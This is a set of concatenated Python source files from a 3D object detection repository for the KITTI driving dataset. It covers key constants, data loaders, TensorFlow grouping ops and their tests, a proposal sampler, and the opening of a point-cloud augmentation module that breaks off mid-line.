'angle_res_pl'\n\nPL_CUR_SWEEP_POINTS_INPUT = 'cur_sweep_points_input_pl'\nPL_OTHER_SWEEP_POINTS_INPUT = 'other_sweep_points_input_pl'\nPL_POINTS_NUM_PER_VOXEL = 'points_num_per_voxel_pl'\n\nPL_POINTS_LOCATION = 'points_location_pl'\nPL_POINTS_FEATURE = 'points_feature_pl'\nPL_POINTS_SEMSEG = 'points_semseg'\nPL_POINTS_AFTER_SEMSEG = 'points_after_semseg'\nPL_CLS_PRED_FEATURE = 'cls_pred_feature_pl'\nPL_REG_PRED_FEATURE = 'reg_pred_feature_pl'\n\nPL_PREDICTED_BOXES3D = 'predicted_box3d_pl'\nPL_PREDICTED_BOXES_ANCHORS = 'predicted_boxes_anchors'\n\nPL_CALIB_P2 = 'calib_p2_pl'\n\n\n######################################################################\n# rpn keys\n######################################################################\n##############################\n# Keys for Placeholders\n##############################\nPL_BEV_INPUT = 'bev_input_pl'\nPL_IMG_INPUT = 'img_input_pl'\nPL_ANCHORS = 'anchors_pl'\n\n# anchors project to bev\nPL_BEV_ANCHORS = 'bev_anchors_pl'\nPL_BEV_ANCHORS_NORM = 'bev_anchors_norm_pl'\n# anchors project to img\nPL_IMG_ANCHORS = 'img_anchors_pl'\nPL_IMG_ANCHORS_NORM = 'img_anchors_norm_pl'\nPL_LABEL_ANCHORS = 'label_anchors_pl'\nPL_LABEL_BOXES_3D = 'label_boxes_3d_pl'\nPL_LABEL_CLASSES = 'label_classes_pl'\nPL_LABEL_SEMSEGS = 'label_semantic_segmentation_pl'\nPL_LABEL_DIST = 'dist_between_points_to_ctr'\nPL_LABEL_ATTRIBUTES = 'label_attributes_pl'\nPL_LABEL_VELOCITY = 'label_velocity_pl'\n\nPL_ANCHOR_IOUS = 'anchor_ious_pl'\nPL_ANCHOR_OFFSETS = 'anchor_offsets_pl'\nPL_ANCHOR_CLASSES = 'anchor_classes_pl'\n\n# Sample info, including keys for projection to image space\n# (e.g. camera matrix, image index, etc.)\nPL_CALIB_P2 = 'frame_calib_p2'\nPL_IMG_IDX = 'current_img_idx'\nPL_GROUND_PLANE = 'ground_plane'\nPL_IMG = 'current_img'\n\n##############################\n# Keys for Predictions\n##############################\nPRED_ANCHORS = 'generate_anchors'\nPRED_VOTE_OFFSET = 'pred_vote_offset'\nPRED_VOTE_BASE = 'pred_vote_base'\nPRED_CLS = 'pred_cls'\nPRED_OFFSET = 'pred_offset'\nPRED_CORNER_RES = 'pred_corner_residual'\nPRED_FORCED_6_DISTANCE = 'pred_forced_6_distance'\nPRED_CTR = 'pred_ctr'\nPRED_ANGLE_CLS = 'pred_angle_cls'\nPRED_ANGLE_RES = 'pred_angle_residual'\nPRED_VELOCITY = 'pred_velocity'\nPRED_ATTRIBUTE = 'pred_attribute'\n\n# origin fpointnet network\nPRED_STAGE_1_CTR = 'pred_stage_1_ctr'\n\n# Fpointnet Regression offset\nPRED_OFFSET_CLS = 'pred_offset_cls'\nPRED_OFFSET_REG = 'pred_offset_reg'\n\n# center regression network\nPRED_CTR_REGRESSION = 'pred_ctr_regression'\n\n# detectron reg loss\nMASK_XYZ_MEAN = 'mask_xyz_mean'\n\n# keys for decoded result\nPRED_3D_BBOX_BEV = 'pred_3d_bbox_bev'\nPRED_3D_BBOX = 'pred_3d_bbox'\nPRED_3D_BBOX_RY = 'pred_3d_bbox_ry'\nPRED_3D_BBOX_CORNERS = 'pred_3d_bbox_corners'\nPRED_3D_CLS_CATEGORY = 'pred_3d_class_Category'\nPRED_3D_SCORE = 'pred_3d_score'\nPRED_3D_VELOCITY = 'pred_3d_velocity'\nPRED_3D_ATTRIBUTE = 'pred_3d_attribute'\n\nPRED_3D_BBOX_BEV_2 = 'pred_3d_bbox_bev_2'\nPRED_3D_BBOX_2 = 'pred_3d_bbox_2'\nPRED_3D_BBOX_RY_2 = 'pred_3d_bbox_ry_2'\npred_3D_BBOX_CORNERS_2 = 'pred_3d_bbox_corners_2'\npred_3D_NMS_INDICES_2 = 'pred_3d_nms_indices_2'\n\n############################\n# keys for point_rcnn\n############################\n# stage_1\nPRED_XBIN_CLS = 'pred_xbin_cls'\nPRED_XBIN_RES = 'pred_xbin_res'\nPRED_ZBIN_CLS = 'pred_zbin_cls'\nPRED_ZBIN_RES = 'pred_zbin_res'\nPRED_Y_RES = 'pred_y_res'\n\n# stage_2\nPRED_XBIN_CLS_STAGE2 = 'pred_xbin_cls_2'\nPRED_XBIN_RES_STAGE2 = 'pred_xbin_res_2'\nPRED_ZBIN_CLS_STAGE2 = 'pred_zbin_cls_2'\nPRED_ZBIN_RES_STAGE2 = 'pred_zbin_res_2'\nPRED_Y_RES_STAGE2 = 'pred_y_res_2'\nPRED_OFFSET_STAGE2 = 'pred_offset_2'\nPRED_ANCHORS_STAGE2 = 'pred_anchors_2'\nPRED_ANGLE_CLS_STAGE2 = 'pred_angle_cls_2'\nPRED_ANGLE_RES_STAGE2 = 'pred_angle_res_2'\n\n# f-pointnet\nPRED_CTR_STAGE2 = 'pred_ctr_2'\n\n#############################\n# keys for training\n#############################\nGT_BOXES_ANCHORS_3D = 'gt_boxes_anchors_3d'\nGT_BOXES_ANCHORS = 'gt_boxes_anchors'\nGT_PMASK = 'gt_pmask'\nGT_NMASK = 'gt_nmask'\nGT_CLS = 'gt_cls'\nGT_OFFSET = 'gt_offset'\nGT_CTR = 'gt_ctr'\nGT_CORNER_RES = 'gt_corner_residual'\nGT_FORCED_6_DISTANCE = 'gt_forced_6_distance'\nGT_ANGLE_CLS = 'gt_angle_cls'\nGT_ANGLE_RES = 'gt_angle_res'\nGT_OFFSET_CLS = 'gt_offset_cls'\nGT_OFFSET_RES = 'gt_offset_res'\nLOSS = 'loss'\nGT_ATTRIBUTE = 'gt_3d_attribute'\nGT_VELOCITY = 'gt_3d_velocity'\n\n############################\n# keys for point_rcnn\n############################\nGT_XBIN_CLS = 'gt_xbin_cls'\nGT_XBIN_RES = 'gt_xbin_res'\nGT_ZBIN_CLS = 'gt_zbin_cls'\nGT_ZBIN_RES = 'gt_zbin_res'\nGT_Y_RES = 'gt_y_res'\n\n# stage2\n# original\nGT_PMASK_STAGE2 = 'gt_pmask2'\nGT_NMASK_STAGE2 = 'gt_nmask2'\nGT_XBIN_CLS_STAGE2 = 'gt_xbin_cls2'\nGT_XBIN_RES_STAGE2 = 'gt_xbin_res2'\nGT_ZBIN_CLS_STAGE2 = 'gt_zbin_cls2'\nGT_ZBIN_RES_STAGE2 = 'gt_zbin_res2'\nGT_Y_RES_STAGE2 = 'gt_y_res2'\nGT_OFFSET_STAGE2 = 'gt_offset2'\nGT_ANGLE_CLS_STAGE2 = 'gt_angle_cls2'\nGT_ANGLE_RES_STAGE2 = 'gt_angle_res2'\nGT_BOXES_ANCHORS_STAGE2 = 'gt_boxes_anchors2'\n\n# F-PointNet\nGT_CTR_STAGE2 = 'gt_center2'\n\n\n############################\n# key for evaluations\n############################\nEVAL_GT_BOXES_CORNERS = 'eval_gt_boxes_corners'\nEVAL_ANCHORS_BOXES_CORNERS = 'eval_anchors_boxes_corners'\nEVAL_GT_BOXES_CORNERS_2 = 'eval_gt_boxes_corners_2'\nEVAL_ANCHORS_BOXES_CORNERS_2 = 'eval_anchors_boxes_corners_2'\n\n############################\n# Key for Corner Loss\n############################\n# labels\nCORNER_LOSS_GT_BOXES_CORNERS = 'corner_loss_gt_boxes_corners'\nCORNER_LOSS_GT_BOXES_CORNERS_FLIP = 'corner_loss_gt_boxes_corners_flip'\n# output\nCORNER_LOSS_PRED_BOXES_CORNERS = 'corner_loss_pred_boxes_corners'\n\n#############################\n# Key for IoU loss\n#############################\nGT_IOU_3D_VALUE = 'gt_iou_3d_matrix'\nGT_IOU_BEV_VALUE = 'gt_iou_bev_matrix'\n# output\nPRED_IOU_3D_VALUE = 'pred_iou_3d_value'\nPRED_IOU_BEV_VALUE = 'pred_iou_bev_value'\n" }, { "alpha_fraction": 0.6111265420913696, "alphanum_fraction": 0.6191933155059814, "avg_line_length": 31.972476959228516, "blob_id": "455d7b56e58dc80a78eafb36f583ef8e57e97e46", "content_id": "70c1a2629beb5b98f691d530b077c3f4aca18a35", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3595, "license_type": "permissive", "max_line_length": 74, "num_lines": 109, "path": "/lib/utils/kitti_object.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "''' Helper class and functions for loading KITTI objects\n\nAuthor: Charles R. Qi\nDate: September 2017\n'''\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport numpy as np\nimport cv2\nimport utils.kitti_util as utils\nfrom core.config import cfg\n\ntry:\n raw_input # Python 2\nexcept NameError:\n raw_input = input # Python 3\n\n\nclass kitti_object(object):\n '''Load and parse object data into a usable format.'''\n \n def __init__(self, root_dir, split='training'):\n '''root_dir contains training and testing folders'''\n # root dir: dataset/KITTI/object\n self.root_dir = root_dir\n # the root dir is the data_root_dir\n self.split = split\n self.split_dir = os.path.join(root_dir, split)\n\n if split == 'training':\n self.num_samples = 7481\n elif split == 'testing':\n self.num_samples = 7518\n else:\n print('Unknown split: %s' % (split))\n exit(-1)\n\n self.image_dir = os.path.join(self.split_dir, 'image_2')\n self.calib_dir = os.path.join(self.split_dir, 'calib')\n self.lidar_dir = os.path.join(self.split_dir, 'velodyne')\n self.label_dir = os.path.join(self.split_dir, 'label_2')\n self.plane_dir = os.path.join(self.split_dir, 'planes')\n\n def __len__(self):\n return self.num_samples\n\n def get_image(self, idx):\n assert(idx<self.num_samples) \n img_filename = os.path.join(self.image_dir, '%06d.png'%(idx))\n return utils.load_image(img_filename)\n\n def get_lidar(self, idx): \n assert(idx<self.num_samples) \n lidar_filename = os.path.join(self.lidar_dir, '%06d.bin'%(idx))\n return utils.load_velo_scan(lidar_filename)\n\n def get_calibration(self, idx):\n assert(idx<self.num_samples) \n calib_filename = os.path.join(self.calib_dir, '%06d.txt'%(idx))\n return utils.Calibration(calib_filename)\n\n def get_label_objects(self, idx):\n # return the list of 3D-objects in the %06d.txt\n assert(idx<self.num_samples and self.split=='training') \n label_filename = os.path.join(self.label_dir, '%06d.txt'%(idx))\n return utils.read_label(label_filename)\n\n def get_planes(self, idx):\n assert(idx<self.num_samples)\n return utils.get_road_plane(idx, self.plane_dir)\n\n def get_depth_map(self, idx):\n pass\n\n def get_top_down(self, idx):\n pass\n\nclass kitti_object_video(object):\n ''' Load data for KITTI videos '''\n def __init__(self, img_dir, lidar_dir, calib_dir):\n self.calib = utils.Calibration(calib_dir, from_video=True)\n self.img_dir = img_dir\n self.lidar_dir = lidar_dir\n self.img_filenames = sorted([os.path.join(img_dir, filename) \\\n for filename in os.listdir(img_dir)])\n self.lidar_filenames = sorted([os.path.join(lidar_dir, filename) \\\n for filename in os.listdir(lidar_dir)])\n print(len(self.img_filenames))\n print(len(self.lidar_filenames))\n #assert(len(self.img_filenames) == len(self.lidar_filenames))\n self.num_samples = len(self.img_filenames)\n\n def __len__(self):\n return self.num_samples\n\n def get_image(self, idx):\n assert(idx<self.num_samples) \n img_filename = self.img_filenames[idx]\n return utils.load_image(img_filename)\n\n def get_lidar(self, idx): \n assert(idx<self.num_samples) \n lidar_filename = self.lidar_filenames[idx]\n return utils.load_velo_scan(lidar_filename)\n\n def get_calibration(self, unused):\n return self.calib\n\n" }, { "alpha_fraction": 0.6220500469207764, "alphanum_fraction": 0.6495245099067688, "avg_line_length": 35.39102554321289, "blob_id": "7b49608779c6914c230d312e8087f2e28c506051", "content_id": "bc22fced7cf58f4cbc1b49f2b957a05eca3c0f2e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5678, "license_type": "permissive", "max_line_length": 96, "num_lines": 156, "path": "/lib/utils/tf_ops/grouping/tf_grouping.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom tensorflow.python.framework import ops\nimport sys\nimport os\n\n# debugging\nimport numpy as np\nfrom core.config import cfg\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(BASE_DIR)\ngrouping_module=tf.load_op_library(os.path.join(BASE_DIR, 'tf_grouping_so.so'))\n\n\ndef query_boxes_3d_mask(xyz, boxes_3d):\n \"\"\" Calculate whether the points inside the box_3d \n Input\n xyz: [b, n, 3]\n boxes_3d: [b, num_proposals, 7] \n Return:\n mask: [b, num_proposals, n], whether inside the corners or not\n \"\"\"\n return grouping_module.query_boxes3d_mask(xyz, boxes_3d)\nops.NoGradient('QueryBoxes3dMask')\n\ndef query_points_iou(xyz, anchors_3d, gt_boxes_3d, iou_matrix):\n \"\"\" Calculate the PointsIoU between anchors_3d and gt_boxes_3d\n Input\n xyz: [b, n, 3]\n anchors_3d: [b, anchors_num, 7]\n gt_boxes_3d: [b, gt_num, 7]\n iou_matrix: [b, anchors_num, gt_num]\n Return:\n iou_points: [b, anchors_num, gt_num]\n \"\"\"\n return grouping_module.query_points_iou(xyz, anchors_3d, gt_boxes_3d, iou_matrix)\nops.NoGradient('QueryPointsIou')\n\ndef query_boxes_3d_points(nsample, xyz, proposals):\n \"\"\"\n Input:\n nsample: int32, number of points selected in each boxes\n xyz: [bs, pts_num, 3]\n proposals: [bs, proposal_num, 7]\n Return:\n idx: [bs, proposal_num, nsample]\n pts_cnt: [bs, proposal_num]\n \"\"\"\n return grouping_module.query_boxes3d_points(xyz, proposals, nsample)\nops.NoGradient('QueryBoxes3dPoints')\n\n\ndef query_ball_point(radius, nsample, xyz1, xyz2):\n '''\n Input:\n radius: float32, ball search radius\n nsample: int32, number of points selected in each ball region\n xyz1: (batch_size, ndataset, 3) float32 array, input points\n xyz2: (batch_size, npoint, 3) float32 array, query points\n Output:\n idx: (batch_size, npoint, nsample) int32 array, indices to input points\n pts_cnt: (batch_size, npoint) int32 array, number of unique points in each local region\n '''\n return grouping_module.query_ball_point(xyz1, xyz2, radius, nsample)\n\nops.NoGradient('QueryBallPoint')\n\ndef query_ball_point_dilated(min_radius, max_radius, nsample, xyz1, xyz2):\n \"\"\"\n dilated_ball_query: dilated pointnet++\n Input:\n min_radius: float32, ball search min radius\n max_radius: float32, ball search max radius\n nsample: int32, number of points selected in each ball region\n xyz1: (batch_size, ndataset, 3) float32 array, input points\n xyz2: (batch_size, npoint, 3) float32 array, query points\n Output:\n idx: (batch_size, npoint, nsample) int32 array, indices to input points\n pts_cnt: (batch_size, npoint) int32 array, number of unique points in each local region\n \"\"\"\n return grouping_module.query_ball_point_dilated(xyz1, xyz2, min_radius, max_radius, nsample)\n\nops.NoGradient('QueryBallPointDilated')\n\ndef query_ball_point_withidx(radius, nsample, xyz1, xyz2, sort_idx):\n \"\"\"\n IdXBallQuery Operation\n Input: \n radius: float32, ball query radius\n nsample: int32, number of points selected in each ball region\n xyz1: (batch_size, ndataset, 3) float32 array, input points\n xyz2: (batch_size, npoint, 3) float32 array, query points\n idx: (batch_size, npoint, ndataset), the argsort from self attention\n Output:\n idx: (batch_size, npoint, nsample) int32 array, indices to input points\n pts_cnt: (batch_size, npoint) int32 array, number of unique points in each local region\n \"\"\"\n return grouping_module.query_ball_point_withidx(xyz1, xyz2, sort_idx, radius, nsample)\n\nops.NoGradient('QueryBallPointWithidx')\n\n\ndef select_top_k(k, dist):\n '''\n Input:\n k: int32, number of k SMALLEST elements selected\n dist: (b,m,n) float32 array, distance matrix, m query points, n dataset points\n Output:\n idx: (b,m,n) int32 array, first k in n are indices to the top k\n dist_out: (b,m,n) float32 array, first k in n are the top k\n '''\n return grouping_module.selection_sort(dist, k)\nops.NoGradient('SelectionSort')\ndef group_point(points, idx):\n '''\n Input:\n points: (batch_size, ndataset, channel) float32 array, points to sample from\n idx: (batch_size, npoint, nsample) int32 array, indices to points\n Output:\n out: (batch_size, npoint, nsample, channel) float32 array, values sampled from points\n '''\n return grouping_module.group_point(points, idx)\[email protected]('GroupPoint')\n\ndef _group_point_grad(op, grad_out):\n points = op.inputs[0]\n idx = op.inputs[1]\n return [grouping_module.group_point_grad(points, idx, grad_out), None]\n\ndef knn_point(k, xyz1, xyz2):\n '''\n Input:\n k: int32, number of k in k-nn search\n xyz1: (batch_size, ndataset, c) float32 array, input points\n xyz2: (batch_size, npoint, c) float32 array, query points\n Output:\n val: (batch_size, npoint, k) float32 array, L2 distances\n idx: (batch_size, npoint, k) int32 array, indices to input points\n '''\n b = tf.shape(xyz1)[0]\n n = tf.shape(xyz1)[1]\n c = tf.shape(xyz1)[2]\n m = tf.shape(xyz2)[1]\n b, n, c = xyz1.get_shape().as_list()\n _, m, _ = xyz2.get_shape().as_list()\n\n xyz1 = tf.tile(tf.reshape(xyz1, (b,1,n,c)), [1,m,1,1])\n xyz2 = tf.tile(tf.reshape(xyz2, (b,m,1,c)), [1,1,n,1])\n dist = tf.reduce_sum((xyz1-xyz2)**2, -1)\n\n outi, out = select_top_k(k, dist)\n idx = tf.slice(outi, [0,0,0], [-1,-1,k])\n val = tf.slice(out, [0,0,0], [-1,-1,k])\n\n #val, idx = tf.nn.top_k(-dist, k=k) # ONLY SUPPORT CPU\n return val, idx\n\n" }, { "alpha_fraction": 0.6095107197761536, "alphanum_fraction": 0.6232281923294067, "avg_line_length": 42.689998626708984, "blob_id": "8a82008c4c98d431f63f82d27e13e2e2487c4383", "content_id": "4826df6c16671c30993f5763f49ae18447431996", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4374, "license_type": "permissive", "max_line_length": 138, "num_lines": 100, "path": "/lib/utils/tf_ops/grouping/test/test_op.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import sys, os\nimport tensorflow as tf\nimport numpy as np\nimport argparse\n\nfrom utils.tf_ops.grouping.tf_grouping import *\nfrom utils.voxelnet_aug import check_inside_points\nfrom utils.generate_anchors import generate_3d_anchors_by_point_tf\n\nfrom core.config import cfg, cfg_from_file, cfg_from_list, assert_and_infer_cfg\nfrom dataset.dataloader import choose_dataset\nfrom dataset.feeddict_builder import FeedDictCreater\nfrom modeling import choose_model\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Trainer')\n parser.add_argument('--cfg', required=True, help='Config file for training')\n parser.add_argument('--img_list', default='train', help='Train/Val/Trainval list')\n parser.add_argument('--split', default='training', help='Dataset split')\n parser.add_argument('--restore_model_path', default=None, help='Restore model path e.g. log/model.ckpt [default: None]')\n args = parser.parse_args()\n\n return args\n\nif __name__ == '__main__':\n args = parse_args()\n cfg_from_file(args.cfg)\n\n batch_size = cfg.TRAIN.CONFIG.BATCH_SIZE\n gpu_num = cfg.TRAIN.CONFIG.GPU_NUM\n\n # first choose dataset\n dataset_func = choose_dataset()\n dataset = dataset_func('loading', split=args.split, img_list=args.img_list, is_training=True, workers_num=cfg.DATA_LOADER.NUM_THREADS)\n dataset_iter = dataset.load_batch(batch_size * gpu_num)\n\n # load items\n sample = next(dataset_iter, None)\n points, sem_labels, sem_dists, label_boxes_3d, ry_cls_label, residual_angle, label_classes, calib_P, sample_name = sample\n points = points[:, :, :3]\n\n anchors = generate_3d_anchors_by_point_tf(tf.constant(points, dtype=tf.float32), [[3.8, 1.6, 1.5]])\n anchors = tf.reshape(anchors, [batch_size, -1, 7])\n\n sess = tf.Session()\n batch_size = len(points)\n\n # # test point_mask calculation\n # mask = query_boxes_3d_mask(points, label_boxes_3d)\n # # then calculate gt_result\n # np_mask_list = [] \n # mask_op = sess.run(mask)\n # for i in range(batch_size):\n # cur_mask = check_inside_points(points[i], label_boxes_3d[i])\n # for j in range(len(label_boxes_3d[0])):\n # a = len(np.where(mask_op[i, j] != 0)[0])\n # b = len(np.where(cur_mask[:, j] != 0)[0])\n # if a!= b: \n # print(np.where(mask_op[i, j] != 0)[0])\n # print(np.where(cur_mask[:, j] != 0)[0])\n # print(1)\n # exit()\n\n # test query_boxes\n # idx, pts_cnt = query_boxes_3d_points(64, points, label_boxes_3d)\n # queried_point = group_point(points, idx) # bs, gt_num, 64, 3\n # print(queried_point)\n # # bs, proposal_num, nsample, 3\n # queried_point, pts_cnt_op = sess.run([queried_point, pts_cnt]) \n # not_in_sum = 0\n # for i in range(batch_size):\n # for j in range(len(label_boxes_3d[0])):\n # cur_gt_boxes = label_boxes_3d[i, j] \n # cur_pts_cnt = pts_cnt_op[i, j]\n # # pts_num, 1\n # cur_mask = np.squeeze(check_inside_points(queried_point[i, j], cur_gt_boxes[np.newaxis, :]), axis=-1)\n # not_in = len(np.where(cur_mask == 0)[0])\n # not_in_sum += not_in * (cur_pts_cnt > 0) \n # print(cur_pts_cnt, cur_pts_cnt > 0, not_in)\n # print(not_in_sum)\n # exit()\n\n # finally test point iou\n gt_num = label_boxes_3d.shape[1]\n anchors_num = anchors.get_shape().as_list()[1]\n iou_matrix = np.ones([batch_size, anchors_num, gt_num], dtype=label_boxes_3d.dtype)\n iou_points = query_points_iou(points, anchors, label_boxes_3d, iou_matrix)\n iou_points, anchors = sess.run([iou_points, anchors])\n iou_points_np = np.zeros([batch_size, anchors_num, gt_num], dtype=np.float32)\n for i in range(batch_size):\n cur_anchors = anchors[i]\n cur_gt_boxes = label_boxes_3d[i]\n cur_anchors_mask = check_inside_points(points[i], cur_anchors) # pts_num, anchors_num\n cur_gt_mask = check_inside_points(points[i], cur_gt_boxes) # pts_num, gt_num\n intersect = cur_anchors_mask[:, :, np.newaxis] * cur_gt_mask[:, np.newaxis, :]\n union = np.logical_or(cur_anchors_mask[:, :, np.newaxis], cur_gt_mask[:, np.newaxis, :]).astype(np.float32)\n cur_iou = np.sum(intersect, axis=0) / np.maximum(np.sum(union, axis=0), 1.)\n iou_points_np[i] = cur_iou\n print(np.where((iou_points - iou_points_np) != 0))\n \n" }, { "alpha_fraction": 0.5324298143386841, "alphanum_fraction": 0.5416263341903687, "avg_line_length": 34.620689392089844, "blob_id": "3861485f55e0a27c05370c8781001ac90abe834a", "content_id": "c44570f93121af840af836a963d689b6d6280f77", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2066, "license_type": "permissive", "max_line_length": 78, "num_lines": 58, "path": "/lib/builder/sampler.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nimport numpy as np\n\nfrom core.config import cfg\nfrom utils.tf_ops.sampling.tf_sampling import gather_by_mask\n\nclass Sampler:\n \"\"\"\n Sample assigned proposals out according to mask tensor\n \"\"\"\n def __init__(self, stage_index):\n if stage_index == 0:\n self.sampler_cfg = cfg.MODEL.FIRST_STAGE\n elif stage_index == 1:\n self.sampler_cfg = cfg.MODEL.SECOND_STAGE\n \n self.proposal_num = self.sampler_cfg.MINIBATCH_NUM\n \n\n def gather_list(self, mask, tensor_list):\n \"\"\"\n Gather according to mask\n mask: [bs, pts_num, 1]\n tensor_list: tensors with different shapes\n ---> {\n [bs, pts_num],\n [bs, pts_num, 1, -1],\n [bs, pts_num, 1] \n }\n return: [bs, proposal_num, ...]\n \"\"\"\n mask = tf.squeeze(mask, axis=-1)\n return_list = []\n for tensor in tensor_list:\n if tensor is not None:\n tensor = self.gather_tensor(mask, tensor)\n return_list.append(tensor)\n return return_list\n \n \n def gather_tensor(self, mask, tensor):\n tensor_shape = tensor.get_shape().as_list()\n tensor_dtype = tensor.dtype\n tensor = tf.cast(tensor, tf.float32)\n if len(tensor_shape) == 2:\n tensor = tf.expand_dims(tensor, axis=-1) \n tensor = gather_by_mask(self.proposal_num, tensor, mask)\n tensor = tf.squeeze(tensor, axis=-1)\n elif len(tensor_shape) == 3:\n tensor = gather_by_mask(self.proposal_num, tensor, mask)\n elif len(tensor_shape) == 4: # bs, pts_num, 1, -1\n tensor = tf.squeeze(tensor, axis=2)\n tensor = gather_by_mask(self.proposal_num, tensor, mask)\n tensor = tf.expand_dims(tensor, axis=2)\n else: raise Exception('Not support for more than 4 dimensions gather')\n \n tensor = tf.cast(tensor, tensor_dtype)\n return tensor\n" }, { "alpha_fraction": 0.3743545711040497, "alphanum_fraction": 0.5645439028739929, "avg_line_length": 37.70000076293945, "blob_id": "8e259d1744811d2f2fe98cb7816b1daeb54c9058", "content_id": "086fb897eece0e1d4527a895458aacffaf70374c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1162, "license_type": "permissive", "max_line_length": 183, "num_lines": 30, "path": "/lib/utils/tf_ops/evaluation/tf_evaluate_op_test.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nimport numpy as np\nfrom tf_evaluate import evaluate\n\nclass GroupPointTest(tf.test.TestCase):\n def test(self):\n with self.test_session() as sess:\n dets = tf.constant([\n [2, 645.60, 167.95, 680.98, 198.93, -1.65, 4.59, 1.32, 45.84, 1.86, 0.60, 2.02, -1.55, 0.80],\n [0, 387.63, 181.54, 423.81, 203.12, 1.85, -16.53, 2.39, 58.49, 1.67, 1.87, 3.69, 1.57, 0.99], \n [1, 712.40, 143.00, 810.73, 307.92, -0.20, 1.84, 1.47, 8.41, 1.89, 0.48, 1.20, 0.01, 0.70], \n [0, 614.24, 181.78, 727.31, 284.77, 1.55, 1.00, 1.75, 13.22, 1.57, 1.73, 4.15, 1.62, 0.99],\n ])\n names = tf.constant(['/root/kitti_native_evaluation/gtfiles/000001.txt', '/root/kitti_native_evaluation/gtfiles/000000.txt', '/root/kitti_native_evaluation/gtfiles/000003.txt'])\n numlist = tf.constant([2, 1, 1])\n outs = evaluate(dets, names, numlist) \n print(outs)\n pi, ai, pg, ag, p3, a3 = sess.run(outs)\n print(pi)\n print(pi.shape)\n print(pg)\n print(pg.shape)\n print(p3)\n print(p3.shape)\n\n def test_grad(self):\n pass\n\nif __name__=='__main__':\n tf.test.main() \n" }, { "alpha_fraction": 0.5165120363235474, "alphanum_fraction": 0.5396501421928406, "avg_line_length": 41.39325714111328, "blob_id": "041217fbb1405e4ded5b3befac1e2e45090cf99d", "content_id": "d243b2c574627ec4f105fb7c4dc9433bffeccfe1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 37730, "license_type": "permissive", "max_line_length": 213, "num_lines": 890, "path": "/lib/utils/voxelnet_aug.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import numpy as np\nimport numba\n\nfrom core.config import cfg\n\nfrom utils.box_3d_utils import get_box3d_corners_helper_np\nfrom utils.rotation_util import rotate_points, symmetric_rotate_points, roty\n\ndef noise_per_object_v3_(gt_boxes,\n points=None,\n valid_mask=None,\n rotation_perturb=np.pi / 4,\n center_noise_std=1.0,\n global_random_rot_range=[0., 0.],\n random_scale_range=[0.9, 1.1],\n scale_3_dims=False,\n sem_labels=None,\n num_try=100):\n \"\"\"random rotate or remove each groundtrutn independently.\n use kitti viewer to test this function points_transform_\n Args:\n gt_boxes: [N, 7], gt box in lidar.points_transform_\n points: [M, 4], point cloud in lidar.\n \"\"\"\n num_boxes = gt_boxes.shape[0]\n if not isinstance(rotation_perturb, (list, tuple, np.ndarray)):\n rotation_perturb = [-rotation_perturb, rotation_perturb]\n if not isinstance(global_random_rot_range, (list, tuple, np.ndarray)):\n global_random_rot_range = [\n -global_random_rot_range, global_random_rot_range\n ]\n if not isinstance(random_scale_range, (list, tuple, np.ndarray)):\n random_scale_range = [1 - random_scale_range,\n 1 + random_scale_range]\n enable_grot = np.abs(global_random_rot_range[0] -\n global_random_rot_range[1]) >= 1e-3\n if not isinstance(center_noise_std, (list, tuple, np.ndarray)):\n center_noise_std = [\n center_noise_std, center_noise_std, center_noise_std\n ]\n if valid_mask is None:\n valid_mask = np.ones((num_boxes, ), dtype=np.bool_)\n center_noise_std = np.array(center_noise_std, dtype=gt_boxes.dtype)\n loc_noises = np.random.normal(\n scale=center_noise_std, size=[num_boxes, num_try, 3])\n # loc_noises = np.random.uniform(\n # -center_noise_std, center_noise_std, size=[num_boxes, num_try, 3])\n rot_noises = np.random.uniform(\n rotation_perturb[0], rotation_perturb[1], size=[num_boxes, num_try])\n if scale_3_dims: # random on each dimensions\n scale_noises = np.random.uniform(\n random_scale_range[0], random_scale_range[1], size=[num_boxes, num_try, 3])\n if cfg.TRAIN.AUGMENTATIONS.SINGLE_AUG.FIX_LENGTH:\n scale_noises[:, :, 0] = 1.\n else:\n scale_noises = np.random.uniform(\n random_scale_range[0], random_scale_range[1], size=[num_boxes, num_try, 1])\n\n # then reshape the gt_boxes to [x, z, y, l, w, h, angle]\n gt_boxes = gt_boxes[:, [0, 2, 1, 3, 5, 4, 6]]\n gt_boxes_expand = gt_boxes.copy()\n gt_boxes_expand[:, 3:6] += float(cfg.TRAIN.AUGMENTATIONS.EXPAND_DIMS_LENGTH)\n points = points[:, [0, 2, 1]]\n\n assert sem_labels is not None, 'only move these points within each groundtruth, not change background'\n pos_index = np.where(sem_labels)[0]\n pos_points = points[pos_index]\n\n origin = [0.5, 0.5, 1.0]\n gt_box_corners = center_to_corner_box3d(\n gt_boxes_expand[:, :3],\n gt_boxes_expand[:, 3:6],\n gt_boxes_expand[:, 6],\n origin=origin,\n axis=2)\n\n if not enable_grot:\n selected_noise = noise_per_box(gt_boxes_expand[:, [0, 1, 3, 4, 6]],\n valid_mask, loc_noises, rot_noises, scale_noises, scale_3_dims)\n else:\n raise Exception('Not Implementation Fault ----')\n\n loc_transforms = _select_transform(loc_noises, selected_noise)\n rot_transforms = _select_transform(rot_noises, selected_noise)\n scale_transforms = _select_transform(scale_noises, selected_noise)\n if not scale_3_dims:\n scale_transforms = np.squeeze(scale_transforms, axis=-1)\n surfaces = corner_to_surfaces_3d_jit(gt_box_corners)\n if points is not None:\n point_masks = 